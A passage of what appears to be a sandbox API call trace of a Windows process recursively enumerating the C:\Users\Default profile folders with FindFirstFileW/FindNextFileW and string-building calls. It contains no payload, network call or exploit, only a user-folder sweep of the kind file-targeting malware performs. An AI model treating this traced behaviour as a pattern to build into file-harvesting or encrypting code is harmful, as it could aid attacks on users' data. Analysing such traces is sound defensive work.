lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0128.327] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.327] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0128.327] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0128.327] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.327] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.327] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.327] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.327] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0128.327] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0128.327] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.327] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0128.327] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0128.327] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.327] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.327] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.328] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.328] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.328] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0128.328] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0128.328] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0128.328] SetErrorMode (uMode=0x1) returned 0x1 [0128.328] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0128.328] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\My Documents\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0128.328] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.328] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0128.328] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0128.328] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.328] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.328] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.328] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0128.328] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.328] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0128.328] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0128.328] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.328] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.328] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.328] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.328] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0128.328] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0128.328] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0128.328] SetErrorMode (uMode=0x1) returned 0x1 [0128.328] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0128.328] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0128.329] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\NetHood\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0128.329] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0128.329] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.329] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0128.329] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0128.329] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.329] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.329] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.329] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0128.329] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0128.329] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.329] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0128.329] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0128.329] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.329] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.329] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.329] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.329] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.329] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.329] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.329] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.329] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.329] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.329] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0128.329] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0128.329] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.329] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.329] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0128.329] SetErrorMode (uMode=0x1) returned 0x1 [0128.329] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0128.329] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0128.329] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Pictures\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0128.329] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0128.329] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.329] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0128.329] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0128.329] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.329] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.329] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.330] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.330] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0128.330] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0128.330] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.330] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0128.330] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0128.330] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.330] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.330] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.330] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.330] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.330] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0128.330] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0128.330] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.330] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.330] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0128.330] SetErrorMode (uMode=0x1) returned 0x1 [0128.330] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0128.330] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0128.330] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\PrintHood\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0128.330] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0128.330] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.330] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0128.330] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0128.330] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0128.331] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.331] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0128.331] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0128.331] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.331] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0128.331] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0128.331] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0128.331] SetErrorMode (uMode=0x1) returned 0x1 [0128.331] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0128.331] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Recent\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0128.331] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.331] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0128.331] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0128.331] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0128.331] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.331] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0128.331] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0128.331] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.331] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.331] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0128.331] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0128.331] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.331] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0128.332] SetErrorMode (uMode=0x1) returned 0x1 [0128.332] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0128.332] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0128.332] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Saved Games\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0128.332] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0128.332] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.332] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0128.332] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0128.332] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.332] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.332] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.332] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.332] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0128.332] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0128.332] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0128.332] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0128.332] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0128.332] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.332] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.332] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.332] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.332] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.332] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.332] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0128.332] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0128.333] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0128.333] SetErrorMode (uMode=0x1) returned 0x1 [0128.333] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0128.333] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\SendTo\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0128.333] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.333] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0128.333] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0128.333] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.333] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.333] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.333] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0128.333] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.333] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0128.333] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0128.333] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.333] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.333] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.333] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.333] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0128.333] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0128.333] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0128.333] SetErrorMode (uMode=0x1) returned 0x1 [0128.333] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0128.333] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Start Menu\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0128.333] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0128.333] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.333] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0128.333] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: 